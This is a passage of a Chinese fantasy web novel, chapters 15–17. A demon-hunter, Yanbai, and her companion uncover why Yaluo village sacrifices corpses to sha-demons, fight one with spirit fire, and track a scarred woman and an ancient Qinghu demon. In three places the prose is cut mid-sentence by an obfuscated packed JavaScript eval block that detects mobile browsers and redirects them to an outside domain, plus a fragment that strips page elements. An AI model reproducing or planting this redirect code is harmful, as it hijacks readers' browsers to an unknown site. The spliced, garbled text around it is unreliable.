稍稍停留过,还是去找覃毓了,他一个人蹲在石屋前,应该是在等几个手下。酽白藏身暗处看了会儿,见他还没动作,只能先折返回去找柳殷照。 另一边,柳殷照跟村里人搭了一上午话,他们口风都紧,不愿意透露太多,费劲口舌也没能套出信息。 从谈话中感受到村里所有人都持绝望之态,不过这也是在所难免的,任谁生活在这种环境下都得疯。 “对了,我问过那些空房子,你猜他们怎么说?” 酽白没猜,扔了个白眼给柳殷照,他才悻悻说出下文,“有个姑娘嘴快,无意中说出那些房子的主人回不来了,立马就被其他人喝住,除此外就没问到什么了。” “酽白,你说到底是什么原因导致那么多人都死了,我在想,那片荒地里不会都是这些人的坟吧?” 酽白觉得这种猜测并非全无道理,不然没办法解释村民的消失。 “而且你有没有发现,我们住的地方离村民家都好远,除了那个老翁附近好像没别人了。” 她起初以为是覃毓故意为之,想让他们露出马脚,毕竟人在自由的环境里更容易犯错。经柳殷照这样一说,更有可能是将他们排除在外,不让他们接触到村里的消息。 “刚才我看见覃毓在等人,很着急的样子,应是要商量什么事,跟我来。” 二人拐过几条小巷,偷摸来到石头屋前,透过缝隙往里看,正是覃毓跟他那几个手下人。 “覃哥,明天又是第五天了,这次又该咋办啊?” 被唤覃毓的男人恍然回神,微张了张嘴,然后又归于沉默。他的脸上满是无路可走的绝望感,垂下头定定盯着地面。 “村里原本三百多人,如今只剩七十余。有时候是真觉得好笑,我们这么做真的有用吗?最后真的会有人活下来吗?”覃毓声音低哑,带着哭腔。 酽白从只言片语中根本听不出什么,直到他再次开口。 “这次,让我去吧。”覃毓神情悲苦的说道,语气中比方才多了一丝坚定。 “不行覃哥,我们谁死都不会让你死,你得活着啊,这次我去。等我死后,你们把我的尸体交给煞妖,安生几天是几天吧。”那个身材最矮小的男人发出了最坚毅的声音。 谈论到这里,众人随即闭嘴,其实他们内心清楚,谁也没办法违背那些东西。只是一个人死总好过所有人死,不知道这充斥绝望悲愤的日子究竟要熬到哪天才算完。 酽白并没有露面,她若贸然出现弄不清楚事情不说,单窥听秘密谈话这一点就会引起村民的不满。 听他们的谈话内容,商讨的应是明日之事,不出意外今晚覃毓还会来找他们,寻一个最后的解决办法。 索性不再偷听,叫上柳殷照回去了,等着覃毓上门来找他们。 夜里沉静,门外仍然毫无动静,柳殷照失了耐性,“酽白,他们还会来吗,都等了这么久了。” “亥正刻,无意外的话马上就来了。你要是困就去睡觉吧,别像个野鬼一样在我眼前游荡。” 柳殷照绕着屋子又走完了一圈,酽白被他晃得眼花,忍不住开口制止。 果不其然,她的话音刚落,门外就响起了沉重的脚步声。 是覃毓来了,这次只有他一个人。 “覃兄,等候多时了,里间说话吧。” 覃毓愕然,眼前的女道长如何得知他要来? “我知覃兄不信我们,所以才隐瞒实情没有告知于我,同样,我不信覃兄,自然也会去村里打听。所以,还请覃兄见谅,我二人今日在村中也听到些消息。” “覃兄,若真想让我帮忙,还请先告知实情。”酽白看着面前踌躇不定的覃毓,直白开口询问。 中年男人此刻才正视这个姑娘,她的确不简单。 覃毓当然知道拦不住酽白,也没计较什么,毕竟现在是他求人家帮忙。 “道长话说到这份上了,我也不隐瞒了。” 崖罗村之前是匪窝,劫匪常把人掳进村里,玩弄享乐后就让他们为奴为婢,等到下一次再掳人回来时,就把上一批人杀掉,在村外的荒地随意挖个大坑埋掉。 那是覃毓祖父生活的年间,这种埋尸的活儿总是落到他祖父头上。祖父心善见不得这些,不过是说了两句劝阻的话,就被匪盗砍死扔进坟地里了。 后来,覃毓的爹数年忍辱负重,受尽屈辱,终于等到朝廷与各大宗门的联合围剿。 他爹主动做了朝廷的内应,这才杀了匪首徐邑替祖父报仇,之后官员没有对此事进行收尾,一些归顺的盗匪就此留在了村里。 当时的尸体多扔在村外荒地,那里死人太多,酽白说的煞妖就是那时候开始出现的。 妖刚开始出现时,只在坟地周围活动,也不会攻击人。后来不知怎么的就开始侵扰村庄,打杀村民了。 村里人逐渐感觉到不对,开始向外逃,可第二天就会看见他们的尸体。几次下来,村民们也知道了,只要不出村子就没事。 “这几年陆续来过不少自称捉妖师的人,与姑娘比起来,他们确实是骗子,连这妖是何物都说不清楚。但我们没办法啊,被折磨了那么久,天天祈祷能得救,突然有人说能救我们,换做谁都会完全相信他的。” 那群捉妖师中有一人瞧出些门道,说村里妖气强盛,若想不受煞妖侵扰,需得定期为妖物献祭尸体,给他们提供凶秽之气。不然,他们就会攻击活人。 村民本来是不信的,但有一次村里恰好病死了人,老道说把尸体送去坟地,那妖定会安生几日。 覃毓等人也没别的办法了,索性听他的话一试,居然真的有用。然后,在一次次试探中摸索出了规律,每五日就是一个期限。 这办法一出,村里人都惶恐不安,没人愿意主动去死。 覃毓他爹压不住场面,那些原本归顺的盗匪为了活命,率先暴起控制了整个村子,定期杀死一个人献给煞妖,第一个就是覃毓爹。 自那之后,覃毓也学着他爹的样,隐匿村中卧薪尝胆,在盗匪之间几次挑拨,让他们反目才得以制止恶行。 “我也算不上好人,继续沿用了那个办法,不断杀盗匪献给煞妖。村里原本数百人,如今只剩七十。时至今日,我也无能为力了,这三年偶有奇人异士来都说能除掉妖,结果尽数命丧妖口。酽白道长,柳兄弟,求你们救下村子,我当牛做马以报此恩情。” 覃毓涕泪潸然,双膝弯曲就要跪下去,酽白伸手赶紧扶住,“覃兄放心,我会让崖罗村重新现世的。” 倒是柳殷照不满覃毓等人的做法,说话的语气略显不善,“你们这次可是又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳殷照连连摆手拒绝,坐得离酽白远远的。 “酽白,雪箐在里面还好吗?我都好久没听见她说话了。” 若非他今日说起,酽白都要忘记雪妖了,连忙聚起灵力去感知雪妖的状况。 “你们俩不同种的妖怎么这么熟?” “有缘呗,她当初被骗出极北之地,一路流浪到枰溪镇,我觉得她可怜,就捡回来当小妹妹养着。我不惦记她还惦记谁,又没有真的妹妹。” 想不到雪箐也有惨痛过往,她就说,一只雪妖怎么会在炎热之地流窜。酽白感知到雪箐了,她正在吸收这里的寒凉气息,意外进入崖罗村恰好方便了雪妖,倒是不错,让她先休养生息吧。 酽白在指间玩转寄鸣珠,“对了,明日我自己去坟地,你去村子西边看看,那边有片废弃的旧屋,去看看有什么。” “啊?哦好,你不相信覃毓吗?” “也不算,只不过他在这待了三年之久,又杀过人,难保心态不会发生变化,我们多知道些总是好的。你明日悄悄去,记得……小心些。” 不容易啊,他第一次在酽白嘴里听见关心话语,不免心热,面上又显出开朗的笑意,“放心放心,我心里有数的。” 柳殷照全然不知酽白只是习惯性叮嘱,不想他陷入险境之中,免得到时再花时间去救他。 15. 火烧煞妖 向煞妖献祭死人在即,覃毓等人此夜注定难眠,崖罗村能不能度过这次劫难,全看明日第一步破局之法是否有效。 崖罗村脱离了正常空间,四季时节也显得有些不同。 昨夜温度再降,今晨冬雪初来,不间断的下了整个白日。村子掩于薄薄雾气之中,周遭鸦雀无声,如同陷入深渊之境,大家都在盼着白雾消散那一刻。 “覃哥,我看这雪快停了,要不咱走吧,有用没用去了才知道。” 覃毓面色沉重,已经拖到最后时限了,他深知如今没有别的办法,只能招呼众人抬着几具假尸往村外去。 按着酽白的指示,将尸身放在坟地外沿,好将煞妖引到这里,为他们制造一个煞妖离窝的好机会,做完一切后几人迅速躲到旁侧。 少待片时,见煞妖群起而出,天将暗未暗,此景真真是百鬼夜行之象。妖怪们争先恐后涌向尸身上的殃煞,酽白的办法对他们起了作用。 趁着煞妖离开老巢,酽白叫上柳殷照,在覃毓等人的注视下偷偷进入坟地,几个村民见计划顺利进行,赶紧离开了这个危险地方。 他们当然不知道,柳殷照在进入坟地后,借着周围植被的掩护,又绕去了村子西边的废弃之地。 那里的房屋排列紧凑,但大都破旧腐朽,甚至有了坍塌的迹象,在夜里模糊成狰狞怪物,张牙舞爪。 四周不见烛火,柳殷照借着不甚明亮的月光缓步前行。 他走完大半路程,荒废之地不见人迹,不免觉得酽白判断错了,可能就是些废弃掉的危房而已,常年无人居住,怎么会有蛛丝马迹呢。 他不想再待下去,这里让他感觉很不舒服。 自己就是妖,按理来说人类生活的地方对他并无威胁才对,但此处好似有比他更厉害的妖压制着他,说不好就是他之前感知到的大妖,还是先逃吧。 一路疾走,眼看就快走到来时处了,乍见前面冒出个半老女人,脸上皮肤斑驳,容貌尽毁,半个身子藏在暗处。虽然看不见她的眼睛,但就是觉得她在看着自己。 柳殷照身体僵住停下不动了,但是,丑女人动了,还向着他过来。 酽白与柳殷照分开后,在坟地里四下搜寻,朝着煞妖妖气最重的地方去。 随着腰侧挂着的双鸣剑反应愈发激烈,她感觉到越发靠近坟地中心处了。死人气息变得浓烈,那中心位置肯定就是有答案的地方。 七拐八绕的到地方后,酽白发现此处有使用过仿生术的痕迹,而且是不止一次的使用过,这下就能解释为何煞妖数量如此之多。 她开先想的不错,按这里的坟墓数量,最多只能生出现有煞妖的半数,多出来的那些显然就是仿生术的结果。 有人在煞妖身上使用过术法,以最初的少量煞妖为母体,利用邪术抽取他们体内能量,不断复刻出子体,从而生出更多煞妖。 仿生术是被天下正派严令禁止的法术,所有修习之人都不得使用,这人胆子也太大了,居然敢背着各宗门使用此术,酽白定要将这人揪出来,让他受到责罚。 她蹲在那儿正仔细思考着,突感后背发凉,稍稍侧头一看,一只煞妖俯下身来,整个脑袋快压上自己的肩头,带有恶臭的黑气一个劲儿往她身上缠。 酽白顿觉反胃,握住双鸣反手向后刺去,身体向前翻滚几圈躲过了煞妖。 刚才只顾着看环境,竟没察觉到这里还有一只落单的妖,不过也好,趁此机会让她来好好研究一下小妖怪。 酽白与他缠斗在一起,不管她如何挥舞双鸣剑,愣是没给煞妖造成丁点儿伤害。他身上裹身布砍不动刺不破,一番划拉下来,还是完好无损。 久战耗费体力,酽白索性钻进一处茂密树丛,躲一会儿算一会儿。 看着外面来回飘荡的煞妖,酽白快被烦死了,心里将制出保护布的人骂了百遍,世上到底能不能少些不正常的东西,人就不能少点探索欲么? 被遗留下来的煞妖像是不太灵活,身子一顿一顿的,酽白猜测可能是仿生术炼出来的残体,看来用仿生术这人技艺不精啊。不过,这样大好的事竟叫她给遇见了,也着实让人十分惊喜。 那布与妖怪已经融为一体,根本就是难舍难分,酽白无从下手,只能继续蹲在树丛里观察他。 煞妖仍旧在来回晃悠,酽白的视线落在他身上,既然这是残体,说不定它与布的融合没那么好呢? 那么,它的破绽到底在哪儿? 酽白瞪大眼睛死死看着煞妖,算了,眼睛有点酸,外表确实看不出来什么东西。 眸中光辉暗淡后又明亮,酽白眉眼一挑有了新办法,但她打算等着柳殷照回来再动手,毕竟这办法有点费力气。 不过都快夜半时刻了,柳殷照那妖竟还没回来,酽白都怕煞妖群先回来了,最后没办法,还是只能靠自己动手。 趁着煞妖背对着她时,酽白猛然越出树丛,从背后袭击煞妖,被他迟缓吃力的躲开,而后动作缓慢的转过身子,刚好给了酽白再次攻击的时间。 她将煞妖仰面按倒在地,跨在他模糊身形上,死死按住不撒手。 左手小臂横压在喉颈处,右手聚起灵火,一簇一簇对着那头上的两个黑洞灌进去,黑气来不及冒出就被堵了回去。灵火烧不透外间的布,那就从里面开始烧,把里面的烧完了就只剩外面的布了。 一瞬间,煞妖的身体自内而外透出蓝光,酽白觉得还不够,又继续加了些灵火。 这蓝色灵火可烧万物,虽不知为什么奈何不了小小破布,但对付煞妖本体还是没问题的,妖受不住灵火的灼烧,用力咕蛹着,行动比它刚才还更为灵活了。 酽白全身都在用力,这活实在累人,本想等柳殷照来干,谁知他一点不靠谱,这么久不回来,莫不是在那边遇见危险了? 再说柳殷照回来时,就看见酽白面目凶厉,全身都在发力的按着一个蓝色发光物,二者连物带人凄厉挣扎,场面实在有点诡异,“酽白,呃,需要我帮忙吗?” 捉妖师回头,脸上浸出颗颗汗液,喘着粗气看他,眼神中带着一丝埋怨。 酽白还没来得及回他,手下的煞妖就被烧干净,不见丝毫痕迹,只剩下那布还是烧不透。无妨,酽白要的就是这结果,等把布拿回去细细研究,还怕解决不了外面那群煞妖吗? 酽白头痛的看着柳殷照,“怎么,柳殷照,那边真有妖魔鬼怪把你留住了,半天不回来。” 面对质问正待解释,酽白就示意他噤声,有东西过来了,二人只能先回去再说。 一路逃窜回住处,柳殷照迫不及待就要开口,酽白又立马掐住他手臂,疼的他弯腰低头,趁机在他耳边低声说:“闭嘴,等会再说话。” 柳殷照痛得吸气,还是忍着没发出声音。 他们进屋后,覃毓等人现身在不远处。 “覃哥,他们咋不说话了?” 另一个靠在墙边的人猜测到,“憨,累了呗,没看人家干多大的活啊?换以前那些没用的捉妖师,有谁活着逃出妖怪嘴巴了。” 争论的声音变大,覃毓连忙叫停众人,带着他们匆匆离开。 “行了,酽白道长是有能耐的捉妖师,以后我们要尽力帮他们,大家能不能活就指望着她了。” 白日的积雪还未化,现在又开始飘洒雪粒,放眼去村庄皆是苍白,与浓墨铺就的黑夜划出界限。 照明的油灯亮起微弱光芒,稀疏分布在村里,几年下来,村里早就没什么物资了,很多东西都是几户人家合用,酽白这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546913|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白烛还是拼凑出来的,这些年的日子过得苦不堪言。 酽白在窗缝边瞧见几人离开,才叫柳殷照重新燃烛,二人坐在桌边整理汇集信息。 “酽白,你猜我在那里看见了什么。”柳殷照终于忍不住说出,他一脸神秘,“那里有人,一个丑女人。” “丑女人?” 她还记得圻乡那个误闯的人,他当时也提到过一个丑女人,莫非就是她? “她脸上有疤,很大一片,像是被火烧过,她肯定就是圻乡村民见到的。” “然后呢,发生了什么?” 然后,柳殷照的思绪被拉回到两个时辰前。 他在那里看见了丑女人,当时是真被吓到了,他们妖也是很胆小的。 那女人小步向他走来,在距他几步之遥处停下,“你是什么人,到这里来做什么?” 柳殷照看她面容怵人,但声音却清丽柔和。 “我……我是不小心闯进来的,我借住在那边,没有恶意的。” 女人向他靠近,“哼,你住在那边新村?之前怎么没见过你?” 柳殷照一听这话就知道来对了,很显然她跟覃毓那些人有过往可言啊,顿时灵机一动,张嘴就开始胡说八道。 “不不不,您误会了,我跟我朋友不知怎的就进到村里了,那些人一听我朋友是捉妖师,逼她去抓妖怪。我朋友才当捉妖师没几年,哪儿能抓那么凶的妖啊?”柳殷照声泪俱下,一副被人欺负无处诉冤的凄惨样子。 “可我朋友不去的话,他们也要把我们杀了喂妖怪。我刚刚一路跟着他们,不知怎的跟丢了,也不知道我朋友现在怎么样了。” 丑女人听完他的话,沉思片刻,也不知听没听进去,但之后还是给他指了回去的路。 柳殷照听罢假装离开,丑女人见状也转身走进黑压压的村子。 一刹那,他立刻折返,迅速跟上她,偷偷跟了一段路,可惜最后还是被察觉到,丑女人又绕了几圈路把他甩开了。 酽白听得直闭眼,“你就没问她点别的?” “啧,酽白你真当她傻啊,你第一次见陌生人,会把自己所有事抖落干净吗?” 嗯?好像是不会,酽白沉默无言。 “依我看,她对外人防备着呢。等过几日再去,到时候想个别的由头接近她,熟络之后还愁打听不到消息吗?”柳殷照觉得自己的办法太妙了,频频向酽白扬眉。 “对了,还有件事,我之前在外面感受到这里有只大妖。刚才在那边荒村,我又感觉到了,那妖很强大,完全压制住了我。” 事情逐渐变得麻烦,煞妖的谜团才刚刚摸到线索,如今又来了个厉害的妖,不知厉害妖在事件中又是扮演什么角色。 酽白拿出煞妖身上的那块布,“看看,认不认识。” 柳殷照凑近仔细看着,而后摇头,“没见过,这东西那么厉害,能留下来给我用吗?” 酽白思索无果后,再次掏出宝物寄鸣珠,闭眼凝神,然后从里面掏出好多本厚厚的古籍。 看她似有似有通宵达旦的打算,柳殷照赶紧往旁边溜。 “你若想早点出去,就坐下帮我找,或者你也可以去睡觉,到时候我就将你扔给煞妖,虽然比不上殃煞,但想来他们也不会拒绝吸食妖气。” 这是明晃晃的威胁,他怎还能走,无奈只好老老实实坐下,一本一本翻看起古籍来。他是妖不假,但也认识人类文字,看书这种事根本难不倒他。 蜡烛点了一支又一支,冬日里夜寒,柳殷照将炭火盆烧的旺旺的,挪向酽白那边,又在炉上温着水。 或许二人运气不好,翻遍所有书籍,才在最后一卷上才找到些信息。 “酽白快来,我找到了。” 16. 秘密 柳殷照一声惊呼,酽白凑去他旁边,幽幽烛光下,二人落在墙上的影子慢慢重叠。 书上说,有一种用犰兽皮制成的布坚韧无比,砍不破刺不穿烧不坏,再好的利器都难损坏它,看特性说的应该就是她手里的布。 总算是松了口气,只要找到来源就会有解决办法,“看看有没有克制的办法?” “克制?我找找,在这儿呢,说七叶藤能腐蚀掉它。不过,这七叶藤是什么,要去哪儿找书上没说?”柳殷照连翻几页,也不见对七叶藤的描写,随手将合拢的书扔在一边,“酽白,你这书也不全嘛。” “知道为什么不全吗?因为祖师著书时没想过书籍传世几代,会有人笨到连七叶藤为何物都不知。” 柳殷照一如往常被揶揄,随即又反应过来,“不对啊,我是妖,这又不是我的祖师,羞愧的应该是你才对。” “我?我有什么好羞愧的,我当然知道七叶藤。” “通体黑褐色,根茎带须,其上七叶,常见于湿阴之地的藤类植物。” 但是,这个空间里多半没有七叶藤,酽白还要再想想办法。 现在,得先解决柳殷照说的另一只妖。 “酽白,那只妖能压制我啊,压制的死死的,若要硬来咱俩都不是他的对手,你解决吧,反正我解决不了。”柳殷照觉得这个想法异常荒谬,不要命了才会跟大妖硬来,急吼吼的发表反对意见。 “啧,这不是在想办法了吗?你吼个什么。坐下,覃毓他们刚走,给我小点声讲话。” 柳殷照瞬间泄气,听话的坐下,这样一闹腾,酽白也没了思量的心思,起身往隔间去,良久没听见动静,应该是睡下了。 以假尸迷惑煞妖的的确有效,暂时救了一众村民,覃毓将此事告知后,众人历经三年折磨煎熬,总算是等来了真正的希望。 村民们急着要感谢酽白,连着好几日,每日都有村民上门来,哀求酽白一定要救他们。 唉,她本就是来这里救人的,即便他们不开口感谢,也还是会出手。酽白疲于面对这么多人,立马推了柳殷照出去应付。 雪逐渐变小,天空慢慢放晴,酽白正准备外出,不料又有人来了。 柳殷照陪聊了好久才将几人送出去,刚进门就见酽白在等着他,“完事了?那走吧,去村西边看看。” 柳殷照现在才是真的后悔,为什么要跟着酽白,整天干这干那的,迟早会被累死。不过,他心里虽然不满,双脚还是跟着酽白走了。 出门后,他们遇见了老翁,借口说去查看煞妖,一路遮遮掩掩来到昨晚柳殷照找到的地方。 前几日的大雪盖住村庄,地面早已经找不见路,枯枝被雪层覆盖,只剩短短残枝伸出,向天际呼喊救命。 村西边的老旧房子难抗风雪,多有将倾之势,偶尔发出的嘎吱声,在乱墙之中回荡不停。 酽白他们径直来到丑女人消失处,周围漆黑一片,不像有人居住的样子。 “她当时是在哪里发现你的,有没有什么异常?” 柳殷照回想当时的情况,他在丑女人离开后偷偷跟上去,到了一处矮屋附近,那女人停留了片刻,一个不小心就被她发现了,然后她继续向前,试图绕路甩开自己。 没错,丑女人应该就住在那附近,进门时发现有人跟踪,才开始在小巷里胡乱打转。 “我知道了,跟我来。”酽白跟上他,在走完数条小巷后见到了一座矮院。 院内积雪铺满地坝,旁边杂乱无章的长着几从青竹,看上去像是无人居住的空屋,但白皙干净的窗纸与周围划出界线,应是才换过不久,也是丑女人露出的破绽。 果不其然,二人在院外观察了会儿,就见一个妇人端着木盆出来倒污水,她显然也瞧见了外面的陌生人。 转过正脸,是那丑女人。她摸不清生人意图,站在门边没有动作。 两厢对视,柳殷照反应迅速,瞬间无力跪倒在地,酽白不明所以,出于本能上前扶住他,却在拉住他手的瞬间对上柳殷照胡乱眨着的眼睛。 酽白随即反应过来,抬头去看那丑女人,她果然朝着他们过来了。 “你怎么又来了,这风雪漫天的,也不怕冻死在外面,你又是谁?”丑女人很警惕,即便柳殷照看上去已经很虚弱了,都没提出让他们进屋取暖。 他只能更加卖力的表演,“咳——咳咳——不碍事,他们监视虐待我们,如果不出来只怕就要被抓去喂妖怪了。” 酽白面无表情的听他胡说八道,然后还配合着点了点头。 听到他们的惨状,丑女人才微微动容,帮着酽白扶起柳殷照,往暖和的屋里领。 “行了,你们在这歇歇脚,有什么事等会再说。” 之后,那女人离开屋里了,不知道干嘛去。 酽白快速打量周围,只有一个人的生活痕迹,也没有任何妖物的气息。 等丑女人再回来时,手上端着热汤食,一一摆开在桌面,“热的,快吃点暖暖。” “多谢……婶婶如何称呼。” “叫漆姑就行了,姑娘你这又是怎么了?” 酽白面色发白,捂着头,脸上冒着细密汗水,瞧着像是害了急病。 不就是装病嘛,砾妖会,酽白当然也会,还能比他更逼真。 漆姑上前扶住她,“哎呀,你还是先去歇一下吧。”说着就强制将酽白往里屋床榻扶去。 反观柳殷照,他一眼看穿小把戏,对酽白点头眨眼,后者瞬间明了他在争取时间。 酽白用了一点小手段假装急病,为的就是脱身溜出,避免引起漆姑的怀疑,好在附近看一看。 她从支窗翻出去,不多时就在外面找到一处可疑地方,也是颇具此地特色的破落小院。门上有一把旧锁,墙檐屋顶都是堆积的雪粒,糊墙的泥土成块掉落,随时有坍塌迹象。 酽白注意到地上有脚印,虽然被雪粒浅浅覆盖,但留下了大致形状,看来脚印的主人才离开没多久,应该就是漆姑的。 估计漆姑没料到会有外人来,匆忙间没有清除脚印,反倒成了暴露的线索。 她轻手轻脚从矮墙上翻进院里,放缓脚步走近,附耳在门前,屋里没什么动静,又抬手推了推,木门从里面封死了,若要强行打开定会闹出大动静。 眼看没办法,走到了侧面的小木窗旁,窗户被稻草挡住,但酽白这次听见了动静,好像有小孩儿的声音。 正欲再凑近些,身后传来惊呼。 “酽白,小心。”柳殷照的声音乍起,酽白回头,漆姑高举木棒落下,她躲闪不过,将双鸣横握面前抵挡一棒。 漆姑被双鸣震开,柳殷照疾跑着上前,扯住漆姑向后,将她按住。 “酽白,伤没伤到?” 酽白摇头,走到漆姑面前,遭到她的质问。 “难怪呢,支开我自己出来,原来是另有图谋,亏我还好心收留你们。” 她没打中酽白,又指着柳殷照说道,“哼,你数次阻拦我进屋看你朋友,我就知道你们不安好心,你们跟覃毓是一伙的,来这里到底要做什么。” 二人被误会了,柳殷照见酽白差点被打,大臂粗的棍子还不敲碎人的骨头,当即语气加重,“漆姑,酽白是来救你们的,她是很厉害的是捉妖师。我们跟覃毓才不是一伙儿的,他还有求于酽白呢,崖罗村这群人能不能活命可就指着她了。” 酽白叫柳殷照放开漆姑,“若是我想回去告诉覃毓,单凭你根本拦不住我。” 漆姑听见酽白的话,更是气急败坏,还欲抄棍子上前,轻易被酽白抓住手腕甩开。 “放心,我什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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酽白击碎他的幻想,“要不跟我试试,看我能不能一招打死你,这样你就知道答案了。” 柳殷照立马闭嘴,乖乖待在一旁,等酽白发号施令。 “你能感知到他大概在哪个方向吗?” 柳殷照摇头又点头,“不确定,他妖力一会儿浓烈到刺鼻,一会儿又淡的难以捕捉。这还真是怪了,怎么会有这种妖。” 酽白就知道指望不上他,咬咬牙从寄鸣珠里掏出一支只剩半截的香,点燃后淡淡青烟飘出。 轻烟先飘向柳殷照,然后又向西边飘去,看方向指的是煞妖处,最后又指向他们身后。 酽白随着轻烟指引的方向而去,等走到一座最破最烂的房子前,立马灭掉了烟。 “这就找到了,在哪儿呢?酽白,快,再把香燃燃。” 酽白很少用乾香,这玩意儿很好用,捉妖师都喜欢,它一点燃周边隐身的妖几乎就暴露踪迹了。 这么好的东西却有一个缺点,就是实在太贵了,酽白要接好几单大生意才能买到小小一支,否则,她也不会用的小心翼翼,多燃一点就心头滴血。 酽白看着面前脏乱不堪难以落脚的小房子,这妖还挺聪明,用腐朽外表来掩盖真实华丽。 不错,外表看起来脏乱破朽的屋子实际上是繁华大殿,被施了障眼法而已,看来是不想别人进入他的领地啊。 柳殷照也看出来了,被惊得瞪住双眼,他觉得自己愧为妖物,之前过的都是苦命日子,现在还要仰仗捉妖师生活,霎时顿感挫败。 酽白心疼的收起乾香,都已经到这了,若不进去瞧瞧那妖真是白费力气,也白费她的乾香。 她觉得进入崖罗村时那强大妖力多半就是这只妖,只要在他身上找到突破口,一定能弄清整件事情的脉络。 一个迈步,酽白没进入大殿,反而进入了无边水域中,她猛地被迫浸入水下,口鼻不能呼吸,大量清水灌进腹里。 变故来得突然,酽白身陷困境,旁边小柳霎时心急如焚。 17. 古老妖族 酽白突兀的动作让柳殷照措手不及,刚才还好好的人,怎么变这样了? 坏了,肯定是妖怪的大殿有问题! 还好他没跟酽白一起进去,立马拉住酽白双手,急声呼喊,试图让她清醒过来。 陷在水中的酽白察觉到有人在拉自己,立刻反手抓住他,像是握住了唯一的救命稻草。 有了外界帮助,她仿佛才能借力脱身。画面一转不再是暗黑水面,酽白赶忙睁开眼,看清四周环境才安下心来。 缓过神后她似乎察觉到什么,伸手往前试探的摸索,湿凉触感再次缠绕指尖。 酽白抽剑劈下,一面水幕出现,难怪啊。 这水幕是阻挡外人的,若贸然闯入就会像她刚才那样掉落深水,不及时清醒必会溺死,若是没有大妖的许可应当进不去了。 “酽白,你想到办法了吗,还能不能进去啊?”柳殷照蹲在地上,支着脑袋看酽白在水幕前转来转去,一副此事无解的愁苦模样。 “没有。” 她确实想不到办法,大妖的妖力虽时强时弱,但终归还是在她之上。比她强的对手不管想什么招都是徒劳,人家从根本上就已经战胜她了。 “那我们走吧,反正又进不去,何必在这浪费时间啊?”柳殷照疑惑发问。 奈何酽白不死心也不听劝,在一旁坐下死盯着结界发呆,一直耗到天色擦黑。 最后还是柳殷照看不过眼,上前拉住酽白往回带,倔强捉妖师甩开柳殷照,正欲说话,就听见脚步声往这来。 柳殷照调转脚步,带着酽白躲进密丛,二人探出脑袋一看,巧了,又是那个姑娘。 第一次,是她状似无意告诉柳殷照村民死亡,让他们疑上了覃毓; 第二次,他们来找漆姑,她也刚好来见漆姑; 第三次,他们找大妖,她又找大妖。 要说这姑娘不知道点什么,是无论如何都解释不过去的。 而真正让酽白愕然的是,这姑娘一来大妖就从结界另一边过来了。 怕大妖察觉到外人的气息,酽白带着柳殷照退到安全距离外,只是这样一来就没法听清他们在说什么。 柳殷照戳了戳酽白,气愤的对着那一人一妖指指点点,合着是他们不讨妖怪喜欢了呗,在这蹲了这么久才见到大妖,还是托人家姑娘的福,看不出来这妖还是个注重色相的。 远处二人不知说了些什么,姑娘气愤的走开了,留下大妖独自在那儿。 妖怪转身要往结界走,酽白抓住机会冲出去,横剑挡住大妖。 她直接开打,像要发泄这一下午的怒气,一招一式都带着戾气。柳殷照克服天性使然的害怕,配合酽白捉拿大妖。 名叫半见的大妖刚刚跟姑娘闹了气,正是有气无处撒,不管不顾的同酽白争斗。 两方均是怒气冲冲,周遭本就破败的建筑没有幸免于难,纷纷塌成废墟,扬起片片尘灰。 几个来回后,半见发现酽白比较难缠,就转头着重攻击柳殷照。同类相打,亦是毫不留情,招招致命。 终于,他逮到机会了,柳殷照向后转身的小间隙,大妖避开酽白,又假意挥拳向砾妖打去。酽白为助柳殷照避开攻击,失去了擒住大妖的最好时机,让他匆匆逃进水幕之后。 柳殷照自怨道,“差一点,又让他给逃了。” “行了,本来也打不过他,他的妖力在你我之上,刚才还没用全力,否则我们也得像那堆破房子一样散架。” 天空已经全黑了,二人垂头丧气悠悠往回走。 “刚刚那妖是青鹘族的。” 柳殷照吃惊道,“青……青鹘?我在你的书上看到过,这种古老的妖居然还存在,真是稀奇啊。诶,青鹘不是一向群居吗?这怎么单单他一只妖啊,难道水幕之后全是?” 之前赶路时,多宿在野外,柳殷照常感到无聊,酽白不想搭理他,就拿出一些记载妖物的书籍,让他打发时间,柳殷照在里面看到过青鹘妖。 书上写,青鹘一族存世多年,在捉妖祖师出现前就已经存在了,没人知道他们活了多久。 青鹘一族历来群居,寿命长,所以妖力也强,但今天遇见这只,好像不太一样。 “酽白,你也感受到了吧,他的妖力好像跟年纪不对等。我之前的感受就是对的,这妖的妖力变弱了,怎么还有修为倒退的啊?” 酽白也意识到了,通常来讲,若是本分修习,断不可能越修越差,除非他用了什么不正经的手段,毕竟除此之外,酽白想不到其他的了。 “酽白,这下他跑掉了,我们下次再抓他就难了,现在又是煞妖又是青鹘的,我们还有希望出去吗?”柳殷照又用回那凄楚语调,显得悲凉又可怜。 她一改往日不耐的态度,“青鹘会再来找我们的,还记得将我们拽进这里的强大妖力么,肯定不能是煞妖,那么就只剩他了。他既然主动让我们进来,肯定是想让我们做些什么,等等看吧。” “对啊,这样的话,我们只要等着他来就行了。” 没有妖喜欢面对捉妖师,所以,定是发生了他不能控制的事,才想找酽白来做些什么,暂且不管他罢,先去会会那个频频出现的姑娘。 二人回到住处,日入时分,村民各自归家去,房屋群冒出阵阵炊烟。酽白还想去外面逛一圈,但奈何不给力的小石妖一直嚷嚷着困,也只好让他先回去了。 